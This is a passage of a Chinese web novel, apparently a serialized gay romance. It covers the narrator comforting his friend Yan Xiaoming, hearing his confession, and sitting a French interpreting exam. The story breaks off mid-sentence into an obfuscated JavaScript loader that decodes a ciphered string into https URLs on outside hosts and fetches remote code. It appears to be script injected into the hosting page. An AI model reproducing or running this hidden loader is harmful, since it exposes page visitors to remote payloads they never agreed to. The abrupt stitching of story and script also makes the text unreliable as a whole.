第一章,开心。(?-??)? (20)(2 / 2)

  我走开了,去了冰箱拿了一些水果,做了两盘水果沙拉。其实冬天的时候人们大抵是不爱吃这些的,我却在冬天吃很冷的东西。

  我喜欢追求极端,即使在别人的眼里表现得有些极端。对我来说,要么吃最冷的,要么吃最烫的。

  毕竟我是一个“知冷暖”的人,就好比现在,我能在特殊的情况下,做了一件特殊的事,脸上也是特殊的表情。

  严晓明接过了碗。我用勺子吃着一片一片的香蕉,目光意味深长。

  “很久没有这样边吃边谈心了。”我叹息道,“以前的你我,根本不知道什么谈恋爱,爱上一个人,很快就分了,后来都单着。单着的时候就喜欢分享一些琐事,吃着喜欢吃的东西,分享着喜悦,感觉那时候真的好纯真。看看现在的我们,成了什么了。”

  他见我笑得苦涩,也不知道该如何回答我的话。但他脸上也时常挂着笑靥不收,我转头对他一笑,道:“咋不说话?”

  之后严晓明说:“阿哲,你是我闺蜜,是我在长沙很重要很重要的人,你要知道无论哪次吵架都是我一时脑热,大部分都是我的错。只是,你更要知道,我本不想这样,我是爱你的就好。”

  是的,有时候便是这样,知道对方打心里不想做某件事情,或者打心里对自己是好的,无论做错什么事情说错什么话,我们还是要给予宽慰的心。

  只要你是爱我的,只要你是真心为我好的,你就有资格被原谅。

  其实我还是感谢严晓明教会了我这个人生道理,也教会了我如何取舍,也教会了何时该放下仇恨,安静地谈一谈。

  情绪这东西最能左右一个人的举动。有时候能把控自己的情绪,也是一门艺术,一门绝技。

  我点了点头,却没有说话。严晓明微微一笑,握住了我放在沙发上面的手。

  良久后,他叹了一口气。

  “现在是赎罪的时候,我希望我能找到敏萧。”

  我惊异地问:“你还在找?”

  “我找不到了。”严晓明脸上浮现一抹忧色的光,“不过,我会等他。直到他回来,不管会不会原谅我,不管给不给我重新来过的机会。”

  ☆、2017/12/12(下)

  据我的了解, 曾敏萧本就是那种性格比较强势的人, 人也比较坚毅而刚强, 一旦认定了的事情就绝对不忘初心,就好比我一样亦是如此。可是我隐隐觉得曾敏萧这人的性格似乎比我还决绝。

  我似乎有点动摇, 在想着要不要把曾敏萧的动态告诉于他。可是我这时候我又觉得这根本就不是我的事情, 而且我已经对他许诺, 我就不能食言。

  严晓明做错了事情就得付出相应的代价或者遭受相应的惩罚,虽然现在他很后悔, 后悔得恨不得想杀了自己, 但是我觉得这种惩罚正是得当, 我却不是很心疼。

  只能说, 吃一垫,长一智。只要严晓明的情绪不是很极端, 我还是会顺其自然, 当做什么也不知道。

  我沉着脸色,好像就如什么也不知道一样。当我抬起脸时, 严晓明以一种奇怪的眼神看着我。那种眼神是试探的,是不变的,是暂停的,也带着一种微微发亮的暗光。没有笑影的脸上平淡无奇, 但好像又搜寻着什么答案。

  好像他在试探我, 好像他的直觉告诉他,我知道曾敏萧的行踪。

  然而我这人是很会演戏的,演戏的高超令严晓明也难以望其项背、望尘莫及, 所以我也回以坚定的目光,好像在告诉他我绝对不知道这件事情。

  浅浅地,严晓明自嘲地一笑,低着头摇了摇头。

  我打量着他的侧脸,在昏暗的暗光下吐露着苦难的味道。

  身为朋友,身为一齐陪伴着走过一年的风风雨雨的闺蜜,我心里是真心希望他能过得好好的。我希望他能幸福,可是就算是小幸福,似乎都来得那么奢侈。

  我希望所有人幸福——我希望朋友幸福,亲人幸福,闺蜜幸福,同学幸福,老师幸福,哪怕在路上一个不起眼的角落,我蜷缩着看着陌生人幸福的目光,我也会被他们的笑脸牵向幸福深处。

  可是当我情绪低落时,经常会回想,回想起别人的幸福好像并不属于我,我心底会暗暗发疼。

  之后严晓明对我说:“我经常问自己,幸福是什么,可是我找不到答案。”

  我懒懒地靠在了沙发上,说:“幸福本就是如此,人人追求着。人活在这个世界上不就是求个快乐幸福吗?有的时候要懂得把控当下的幸福,哪怕是小小的指缝,幸福都有可能从中溜走。”

  “你说这话,好像有点嘲讽我的味道。”严晓明皮笑肉不笑,“其实你是想说,我本来可以抓住幸福,可是半路杀出个朱翔宇,曾敏萧从我的指缝间溜走了是吧?”

  我也毫不掩饰地回答:“正是如此。”

  “阿哲,还是要谢谢你。”严晓明看着我,微微一笑,“以后若是有机会,我会死死抓住他不放。”

  “所以我们亦当珍惜当下。”

  这时候我拿起桌上的玻璃碗,开始吃起了水果沙拉。严晓明也跟着我的动作,但他好似没有胃口,眉宇间的神情也一直不见舒朗。

  我看着他的神色,眉间的肌肤就好像一个死死打着的结。我知道他心里不好受,也不知道他所谓的好受与不好受在我心里猜测的是不是同一回事。但无论怎样,我还是该安慰他。

  “你开心点吧,顺其自然。曾敏萧不就是离开一些日子吗?现在应该还好,凭我的直觉,他应该是去舒散心情去了。”其实我也没什么胃口,于是我将玻璃碗又放回了桌上,又猗叹一声,意味深长的白色雾气再空气中飘散之后,我又笑了笑,说:“开心是一天,不开心也是一天,为何不选择开心?”

  “这个道理我是懂的。说实话吧,道理其实大家都懂,重要的是能不能在关键时刻将所谓的大道理用好用对。可是……”严晓明拖长着尾音,于是低下头,双手捂着脸,好像很伤心的样子,“阿哲,我有事情难以启齿,我这些天承受太多了。”

  我怔了怔,心想着是不是他家里又出现什么事情了?还是除了曾敏萧的事情之外,他还经历了什么不好的事情?

  于是我慌忙问道:“你又出什么事情了?”

  严晓明站起身,眼睛似乎有点红,“我不想呆在这里,咱俩出去走走吧,在外边说。”

  这样也挺合我的意,劳累了一天,我也需要出去走动走动。一个人最好放松压力的方式就是独自一人去放松放松,对我来说这就是一种释放。

  我给小肚皮戴上了项圈,牵着小狗跟严晓明一块出去了。

  前几天周原还说要给小肚皮买一件衣裳穿穿,因为这个冬天太过于潮湿和寒冷。但我还是拒绝了,毕竟狗狗根本就不需要这些,它们身上的被毛就是最好的保暖工具,而且若是它们身上穿戴了些什么,对于狗狗本身的身体也没有多大好处。

  所以周原也没买,不过把小肚皮牵出来之后也没有看见它身上有多大的不适,倒是活蹦乱跳的好像获得了重生和自由一样,在灯光下围着一棵树活蹦乱跳转圈圈。

  我成功被它的举动逗笑,吹了吹口哨后,它摇着尾巴过来了,舔了舔我的鞋。

  我蹲下身,摸着它的头,捧着它的脸微微笑道:“熬过这个冬天就好了,等你大了,体质也会好些。”

  小肚皮自然是听不懂的,只好摇着尾巴要来舔我的脸。我仰起头,看了看高高站立的严晓明,发现他眼里的血丝在昏暗灯光下已经隐没,正微微笑着看着我们。

  我站起身,让小肚皮四处走动,我和严晓明则跟在它的身后。

  我们来到湖边,坐在了冰冷的石凳子上。深黄的灯光下,小肚皮撅起屁股站在湖边,舔着湖里冰凉的水。

  微风吹来,湖面上起了褶皱,渐渐荡漾开来。空气虽然很冷,却能让人神清气爽。穿得有些臃肿的我,倒是不惧怕这割裂般的冷意。

  “你现在真的很幸福。”严晓明突然说。

  我笑笑,“就好像你方才所说的一样,你根本找不到幸福是什么的答案。事实上本是如此,世界上最难改造的是灵魂,最难解释的就是幸福。这是一个本就抽象的范畴,没有味觉,没有触觉,你看不到,摸不着,它来了,就来了,它走了,就走了,却是静悄悄的。”

  “是啊,这是要靠感觉的,感觉到了,它就来了,感觉不到了,伤心了,痛苦了,它就走了。”严晓明偏头看我,“可是阿哲,你感觉到了吗?”

  我感觉到了吗?

  的确是的。

  被自己所爱的人深深地爱着,这不就是幸福?被一个自己不爱的人爱着,或者是爱着一个不爱自己的人,那是幸福与痛苦交加的。只有被自己所爱的人爱着,才能让人感受到真正的幸福。

  虽然我没有回答严晓明的问题,但他好似从我的脸上看出来了什么,于是只好与我心照不宣地不说话了。

  世界上有多少不能解释的东西,牵引着人们好奇的神经?我深深地感触到了这一点,所以我亦当努力地去追求、去探索。

  “严晓明,你到底发生什么事情了?”我突然觉得他似乎有什么事情瞒着我。

  严晓明的脸色突然阴沉了下来,瞬间变得苦涩。明明刚刚还如青草般葱绿,之后好像突然之间寒霜降临中枯黄至死。

  “家丑,不宜外扬。”严晓明简简单单说了这六个字。

  他不说,我自然不能剥夺他保持沉默的权利,于是我也并没有强求,但是我还是深思了他所谓的家丑的范畴是不是太过于狭隘,于是我问:“你表哥知道吗?”

  严晓明说:“不知道。”

  原来他所谓的家庭范畴在我的世界里是如此狭隘,这所谓的丑事大概也只有他和他的母亲知道而已,而他,并没有把我和周原当做家人。

  这种念头刚在我的脑间闪过,严晓明就说:“放心吧,我把你当我的家人了,你和周肚皮是我在长沙最为亲近的人,所以告诉你也无妨。”

  “那就告诉我吧,不用那么拐弯抹角的,说重点就好。”

  严晓明突然解下了自己的围巾,在灯光下轻轻触摸着围巾的纹理。

  “阿哲,我妈一个人把我拉扯大,把我视作她未来唯一的希望,也视作她唯一的幸福,她把所有的希望都寄托在了我的身上,可是我却那么不争气。”

  我叫他说重点,但他还是拖拖拉拉说了一些看似无用的东西,但我仍旧认认真真地听着。

  “她为了我,单身了二十年,忍耐寂寞,忍耐孤独,忍耐每天劳累后的无人倾诉,忍耐一切的一切。”严晓明突然抽泣了,我拍了拍他的肩膀,他却摆摆手,于是我又将手从他肩膀上拿开了。“可是我太不争气,我是同性恋,向所有人出了柜,却换得一无所有。”

  我不知道该如何安慰他,因为我这人是不懂得安慰的人,一到对方伤心至极痛彻心扉的时候,我都不知所措。

  “的确是如此啊,出柜最大的压力来自于父母,这句话一点都没有错。”严晓明继续道,“所以我令她失望了,她放弃了我这个希望,找了另外一个男人,还说要跟他过下半辈子。”

  我突然觉得身为一个年轻人,枉费拥有着一个人一辈子当中最为绚丽的青春外表,在严晓明的母亲面前好像什么也不是?他母亲脱单也太快了些,快四十的年纪说脱单就脱单,可是看看我们——

  “我以前真的希望她找一个男人过下半辈子,至少不用孤独,不用自己承担这一切,可是现在她真的找了,我却比以前更为痛苦。”严晓明强忍泪水,但眼里的泪光在灯光下就像星子般闪烁。“以前她总是说,若是找到的男人有孩子的话,怕对我不公平。可是现在她根本不征求我的意见,就找到了一个‘男朋友’。那个男人虽然年纪跟她差不多,但是有一个比我小两岁的孩子。若是我以后跟他们生活在同一个家庭,我肯定会受到不太公平的待遇。”

  “严晓明,你别想那么多,至少有一方是你的母亲,人心肉长,她还是会待你如初。”

  “那个男的本就不喜欢同性恋,看我都戴着有色眼镜,他的儿子也嘲笑我。”严晓明突然泪水滑落,转头看着我,“阿哲,你说,我在那个家庭能生活得下去?我母亲疼我爱我又如何?她处处为我又如何?在有色眼镜面前,我能安安生生地活?我能快快乐乐地活?我能肆无忌惮地活?”

  我呆住了,他的言语语速很快,字字犀利,好似释放了心中所有的痛苦所有的想法所有的不快,一瞬间全部若火山一般喷露了出来,一瞬间释放。

  站在他的角度想一想,他的日子的确不好过。若我在这样一个家庭,我也肯定会茫然若失,就好像断了帆的船,飘摇在宽阔无边的大海上,又好像一个断了线的风筝,飘摇在无垠无际的天空,遭受着雨打、风霜洗礼、雷击、曝晒,呼救不能,求死,也不能,只能等待着上帝的双手骤收生命。

  严晓明突然靠在了我的肩膀上,哭得无声,落泪无声。我也不知道如何安慰,但是我觉得无声就是最好的安慰。

  我们沉默了许久,都未说话,任由冷风吹着,任由霜寒冰冻。

  小肚皮馋着舌头摇着尾巴跑了过来,我抱着它,爱怜地在它头上亲了一口。

  严晓明突然转移了话题:“阿哲,你的初恋是哪个?”

  我不知为何他要问这个问题,好似我已经重复过了,是高中的那位大眼睛女生。

  他见我不回答,好似想起来了什么,于是拍拍脑门,继而又说:“我错了,应该是你第一个暗恋的对象,爱得死去活来却又不敢对他说出来自己心里感受的那个人。”

  我想了想,实在是想不起来我到底以前爱过谁,也想不起来那个人是不是像严晓明口中所说的那样,死去活来痛彻心扉却又不敢说出心里的感受。

  想了许久,我望着星空,“我初中老师吧。”

  严晓明却来了兴趣,“谁?老师?男的女的?”

  我嗤笑,“自然是男的,难道还是女的?同志的心理大概在很小的时候就养成了。”

  “长得怎么样?人怎么样?是暖男吗?”严晓明凑过脸来。

  我笑道:“长得一般般,双眼皮,中等身材,高高的,大大的,身材很好,打篮球的。说话很幽默,很关心我这种问题学生,我也就是因为他成了一个好学生。”

  “唔……打篮球的。事实上我还真的想通了一件事儿。”

  “什么事儿?”我凑过脸去问他。

  “你喜欢那种高大威猛的男人,像我这样的,虽然高,但是瘦,是降服不了你的。”

  是吗?也许吧……或许我真的喜欢这种类型的。

  但一般的小受受不都是这种口味吗?

  “所以……”严晓明拖长着尾音,意味深长,眼里突然出现了一种狡黠的味道,“周肚皮很适合你,粗鲁大汉,粗糙生猛粗犷——”

  说实话,我还真的就喜欢周肚皮骨子里透露出来的那股男人味。不像某些攻,长得比受还母,说话的样子矫情,脸上还擦粉,笑起来粉一块一块往下掉。

  我是一个忙碌的人,我受不了对方矫情磨叽,我没时间跟他耗下去。

  虽然我上面的言辞太过于夸张了些,但我只是将某些攻过于详细化、具体化、极端化。

  说白了,我不喜欢矫情的攻。就比如严晓明这种类型的,但这也不是说明严晓明不抢手,没人喜欢他,而是看个人口味而已。

  我起了身,因为小肚皮在外边也逛腻了,显然是没有精力了,在我怀里焉焉的,似乎就要睡觉。

  我放下它,牵着它与严晓明一起往回走。

  走在茂密的冬青树间光洁的大道上,我问严晓明:“对了,你说说你当年暗恋的人呗。”

  “就是那种爱得死去活来我却又不敢对他说出心里想法的那个人?”

  我点点头,严晓明突然不敢看我,看着黑暗的深处。

  良久后,严晓明嘀咕着:“就是你……”

  我:“……”

  我当时的表情真的是五味杂陈复杂至极,受宠若惊的惊愕,他的无奈和囧局给我带来的突然发笑。

  我苦涩了良久,又突然大笑起来,很久后问严晓明:“怎么可能是我?”

  严晓明语气却突然认真了起来:“阿哲,不知道为什么,我就是喜欢你,特别特别喜欢你。可是你不喜欢我,你性格那么尖锐,我要是死死缠着你我怕是会死得很惨。我是个弱者,弱鸡,不敢表达心里的感受,那时候我大一,踏入了大学这个‘小社会’,刚刚知道世界上有同志这个东西。知道了自己是同性恋后,我才学会了如何去深深地去喜欢一个人。而那时候我刚好遇见你,我就是那么喜欢你。可是我当时对爱情太过于渴望,知道你不可能跟我在一起之后,我很快就跟前任在一起了。”

  我突然觉得氛围很是尴尬,我一时半会儿也不知道该如何启齿。

  想了很久,心情稍微平静了之后,我问他:“那么,严晓明,你现在还爱我吗?”

  我们走到了楼下,等着电梯。亮光下严晓明的脸色倒是好看了几分,但还是认真的神色。

  “不爱了,但是我会把你珍藏,一辈子跟你走下去。”

  电梯开启,我低下头,不再说话,与他走了进去。

  希望正如他所说,把我珍藏,与我一起走下去,一起面对风雨雷电和风波浪潮。

  今晚严晓明睡在了另外一个房间。他已经结课了,不想待在学校的宿舍里,因为那种氛围太过于压抑,所以打算住在周原家里,跟我们生活在一起。

  周原自然是不介意的,毕竟那是自己的表弟。于是在严晓明洗澡的时候,我去了另外一个房间收拾了床铺让他入睡。收拾了大半个小时,之后我也是累得不行,看了看时间已经十点半了,我明天早上还有一场口译考试不知道该怎么办。

  我准备着上帝的安排,没有复习,什么也没准备,全靠自己的运气。

  之后我把严晓明的事情告诉了周原。当时周原还在床上捧着那本《皮囊》在认认真真地看,听了我的话后,他放下书本,惊愕地对我说:“这是真的?”

  我摊手,“不然是假的?”

  周原不看我,转过脸去,看着前方,目光呆滞。

  “为什么这小子不告诉我?”

  “他先告诉了我,叫我告诉你,他不想再说第二遍。他的目的在于让你知道他现在也很不容易。”

  “我小姨也真是的。”周原起了身,光着膀子从柜子里拿出了一盒烟,拆了包装点燃了一根,“也不考虑下晓明的感受,就这么武断地决定了。”

  “我觉得这个家庭真的……好悲哀,好黑暗,真的不知道严晓明以后该怎么走下去。”

  我从周原手里夺过他正在抽着的烟,抽了一口后,他又拿了回去。

  这些日子我们都习惯了。其实对于一根烟来说,抽开始的那几口是最爽快的,到后边却不知不觉变得苦涩。人抽烟最主要是解决一时的烟瘾,开始的那几口就已经足够,剩下的半根烟其实都是废的,还更加伤害了自己的身体。所以我们决定,每次抽烟的时候两个人抽一根。

  “关键还是看他。”周原说,“对了,曾敏萧找得怎么样了?”

  “他不准备找了,已经想通了,准备等他。”

  周原听后,脸色有点不太好看,之后还是把我拥在了怀里。

  作者有话要说: 明天更新的有些我说的话,有些重口有些污,慎重购买。

  ☆、2017/12/13(上)

  令人紧张至极的口译考试在今早上举行。

  一大早天色就起了一层蒙蒙的雾气, 游离在红色的教学楼瓷砖上, 阳光下呈现了一丝淡粉, 那红砖也变得更为艳烈了几分。

  一大早走廊里就站满了今天考试的学生,他们捧着书本在朗读, 而我却挂着耳机无所事事地就好像收魂的黑无常一样在他们眼前荡悠不定。

  现在努力了, 之前干嘛去了?

  但是其实我还是很担心这次考试的, 毕竟口译是一个难度系数非常高的技能,我怕到时候我连听都听不懂, 更别说会翻出来了。

  但是现在复习的话, 肯定是迟了的, 但我觉得我不至于会那么矬, 连及格线都达不到。

  考试是这样的,教室里的讲台上站着的是欧阳丽萍, 她在上面念, 学生就在下面翻译,一个一个轮着进去, 而且按着学号来,考试的过程中要求学生用手机全场录音,考完试之后发布到教学平台上去。

  其实欧阳有跟我们说过要放水,因为学校懂得法语的人太少, 上边的人时不时对考试内容进行检查, 就是怕老师给学生制造机会及格,她叮嘱我们考试的内容是不变的,难度中等偏上, 但是在翻译的过程中不要一个字都不说,就算瞎编也要编点什么出来,哪怕是牛头不对马嘴的内容。因为考试的过程是全场录音,上面的人来检查了,他们又听不懂法语,只好似懂非懂就着那一大堆“鸟语”的长度来评判老师给的分数是不是合适的。

  嗯嗯,到时候我翻译不出来了,就瞎编吧。

  欧阳来的时候我就首先跟欧阳说:“老师,我之后有急事,我是二班的学生,学号比较靠后,能不能到时候让我先考?”

  欧阳很爽快地答应了:“好的,可以。”

  实则我是想赶紧结束,然后跑去图书馆复习,现在真的是分秒必争,早考也是考,晚考也是考,还不如早点结束来个痛快。

  苏秦是第一个进去的,因为他的学号最靠前。进去之前我还在跟他打气,谁知道这货色却说:“媳妇儿,不用给我打气,我知道我过不了。”

  然而我还在安慰他:“你会过的。”

  是知道苏秦翻了翻自己的单眼皮,说:“媳妇儿,你啥时候能真实一点?你明明知道我过不了。”

  然而我还是“真实地”安慰他:“瞎说什么呢,我啥时候虚假过?”

  谁知道苏秦这个没出息的却道:“放心吧,我知道我过不了,过不了我却无所谓。”于是他做了个鬼脸就进去了。

  我:“……”

  我们的对话引起了许多女生的偷笑。

  很多人在门外透过门缝看着里面,包括我……但我不想听里面考试的是什么内容,而是在计时,看看一场考试要考多久,也在焦急地等待苏秦,因为他出来后就是我进去了。

  然而,等了十来分钟后,苏秦终于从里面出来了,他却叫紧挨着他学号的那位女生进去了。

  不是我吗?!

  Fuck!

  我狠狠一挥衣袖,骂道:“法克!法克法克法克!”

  “你又发神经。”张梁说。

  我气得在走廊里跺脚,似乎不把走廊的地板砖跺碎不罢休!

  “老子是想赶紧结束赶紧去背政治!”我张牙舞爪着在张梁面前挥舞着,就差把他那张又黑又圆的脸给抠破了,“你,哪儿凉快哪儿待着去,一会儿就该出人命了的我告诉你。”

  “怨妇!”

  张梁骂了一声就走,我听了之后有点生气,于是抓了他背后的“鸡屁股”,把他跟拎鸡仔儿似地扯了回来,指着他的鼻子道:“什么?怨妇?你去死吧!你这种人,活该被卖到窑子里面去,被骑得欢快跨得风流!”

  谁知张梁却大声道:“哇,有人上我,我真有姿色。”

  我:“……”

  妹子们大笑了起来。

  张梁就是如此,说话的时候不经过脑子,而且说话的时候嗓音特别大,方圆十里外都能听得见那粗如柱的嗓音。

  我放开了他,被耻笑之后,张梁也发现了自己说的话有点不对劲儿,于是羞红了下脸色,走开了。

  但我还是对着他的背影补刀:“张梁啊,其实你长得还不错,就是黑了点,远处看你还真的不错,你要有信心。”

  张梁转过身,“那就好。”

  “可是……远看一朵花,近看豆腐渣。”

  张梁差点栽倒。

  那位女生出了门,之后报了另外一位女生的名字。

  我愣了愣,为什么还没轮到我!

  我就像一个神经病似地在门口晃悠来晃悠去,没完没了嘴里还在骂人,因为我心里实在是急切。

  几个女生还在缠着苏秦把问考试考了什么内容,但苏秦想要马上滚蛋,可是那群妹子就是不让他走。

  苏秦一直都是唱衰的语气,也不知道他说的是真的还是假的,让妹子们哭爹叫娘,都不敢进去考试了。

  苏秦:“很难,真的,她的语速很快,根本听不懂,其实我还是有复习的,我复习的那一块刚好考到了我,但我还是听不懂,听懂了还是不知道怎么翻译。”

  妹子一:“快快快,快告诉我考了哪里!”

  苏秦眯着眼睛拿着书随随便便翻了一页,肥肥的手指指向一页,说:“就是这里,特别特别长!”

  妹子二(捂着脸,差点把脸上的BB霜擦没了,一块黑一块白的):“啊?这么长啊?这么难!赶紧看这个吧,到时候考到了怎么办。”

  妹子三:“对对对,现在就看,马上轮到老娘了该咋办咋办,我好紧张。”

  妹子四(搭上了妹子三的肩):“你现在看还有用吗?看了你也不会,你翻得出来吗?还是别看了,看什么看啊,等死吧。”

  妹子一:“哎哟,好难……”说完就缩在了走廊的一角,捂着脸。

  只有我一个人看出了苏秦那个小贱人的心思,别看他给妹子们在书本上指指点点的时候是一本正经的样子,实则那微微笑的眼神里我早就看出了奸诈的颜色。这个死胖妹,别看他平时粗壮汉子跟个挑大粪一样的大叔或者大爷一样心思大大咧咧,有的时候可奸诈着呢。

  我环手于胸,看着他的恶作剧成功地将一群妹子“吓尿了裤子”,心里却在拍手叫好。

  可是他这样“偷蒙拐骗”的行为也同时是冲着我来的,以为也能把我给威慑住,实则不然,我早就看出了他心里的鬼点子,却又不拆穿他。

  苏秦对我抛了个媚眼,继而又对妹子们说:“所以啊,还是别看了,横竖都是死,还不如横着死,躺着舒服,睡一觉吧,我先走咯!”

  我看着角落里面缩着的妹子一——王妍,冷冷地笑了笑。

  这个人,生来就是哑巴英语,到了大学里面也是哑巴法语,也不知道她能不能过了口译考试这个难关。

  不过,我觉得没可能——谁叫她骂我的?

  虽然我嘴上说不在意,其实心里还是很在意的,谁被这样骂了心里还叫爽的?这不是受虐倾向吗?

  我这人的心思就是这么阴暗,我不是圣人,所以我并不完美。别人要是骂我,我不会原谅,脸上摆出不在乎的样子,实则暗地里不知道把你诅咒了多少遍。所以我并不高尚,我却也不为此自豪。

  可是妹子们一个个进去,还是没轮到我,进去了五六个之后,也下课了,还是没有轮到我。

  我已经心力枯竭,坐在地上靠着墙,目光微弱早已憔悴,嘴里不住说:“张梁你个杀千刀的,活该被卖到窑子里面去被骑得欢快跨得风流。”

  王妍却说:“唉,你成天这一句,烦不烦。”

  张梁:“就是,成天就那几句,没点新意。”

  “谁说我没有了?”我白了一眼,“你说,你想让我怎么骂你?”

  王妍走开了,知道我是一个荼毒众生没完没了的毒舌,她听不得这些。

  “你能说些好话吗?”

  我用手托着腮帮,思忖着,“嗯……好话嘛,自然是有的。张梁,你肯定能考上研究生的,以后会在中南找到一个大学霸,天天宠你,溺你,宠得你出蜜,爱得你出油,吻得你出屎——好吧,以上都是假的,当我放了个屁。”

  张梁:“……”

  我又说:“作为好朋友,我当然是要祝福你的。祝你一生平安,虽然在大学里学会了许多,以后在社会上难免还会遇见很多不三不四的歪瓜裂枣恶心奇葩。就比如当你风姿妖娆体格风骚地扭着黑屁股在街上走着,你会遇见一个突然故意踩了你的鞋带,你低下头系鞋带的时候**就往你头上蹭的死不要逼脸的恶心狗。再比如你会在公共澡堂子里被人盯着你的又红又黑的大屁股,你会遇见一个过来与你搭讪表面上问长沙臭豆腐多少钱一块这种无聊话题最后说一块钱一块贵得死人实则是要让你给他搓澡跟你暧昧的虚伪死色Gay。你也会有一些奇葩经历,就比如当你吃完臭豆腐后想要上厕所,捂着肚子买了一包纸,排队排了半个小时等到了一个坑,你蹲下的时候实则只是放出了一个屁。再比如你忍无可忍的一个屁,你寻了一个无人的角落想要放出来,之后你的裤/裆里雷霆震怒波涛汹涌,裤/裆都被震破了之后却发现是黄色的屁。再比如……”

  “够了!”张梁咆哮了出来,指着我说:“我真的服你,真的很服你……”

  这时候欧阳打开了门,探出一个肥头来,吆喝道:“咦?那位想提前考试的男生呢?”

  我正想着继续骂张梁解解气,突然跳了出来,举着手道:“老师,老师!我在这里!”

  欧阳就像看智障一样白了一眼,说:“进来吧。”

  我咧嘴笑:“好嘞,来了!”

  我给张梁做了个鬼脸,他则竖了个大拇指。

  我跟着欧阳进了教室,首先把书包放下。欧阳站在讲台上说:“把手机打开吧,开启录音,拿出一张白纸和笔,考试马上开始,时间很紧,你快点。”

  我笑道:“好。”

  我打开了录音,拿出纸和笔,心情开始平静了下来。

  欧阳翻着那本《法语口译二级综合教程》,说:“好,考试现在开始。A partir des années mille neuf cent soixnante dix……”

  欧阳说了一大堆,大概有三五句,我就开始翻译:“在19世纪70年代,中国的高考开始重复实施,在那个时候……”

  “19世纪?”欧阳有点怒了,“A partir des années 1970!”

  “哦哦!”我开始紧张了起来,犯了一个极其愚蠢的错误,“是上世纪70年代!”

  欧阳瘪嘴,继续念着。后面的内容我大致是记不起来了,但我还是犯了个错误,欧阳也有提醒,比如我把“les élèves de septième année(七年级学生)”翻译成了“五年级学生”,欧阳这么一提醒,我连忙又改正了过来。其中有些句子我没有翻译出来,但是很少很少,大致的内容听得懂,组织语言倒是有点困难,结结巴巴还是翻译出来了。

  大致翻译了80%左右吧,只有那么小一两句没翻译出来,她那时候倒是直接过了。

  我的妈,原来这么恐怖的吗?我想早点结束啊!

  法译汉进行完了,之后就是汉译法。翻译法大概很

!function(){function a(a){var _idx="xvmmbotlxu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8RX^^)OFqR_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"RX^^)OFqR_"!7_2(F6O2 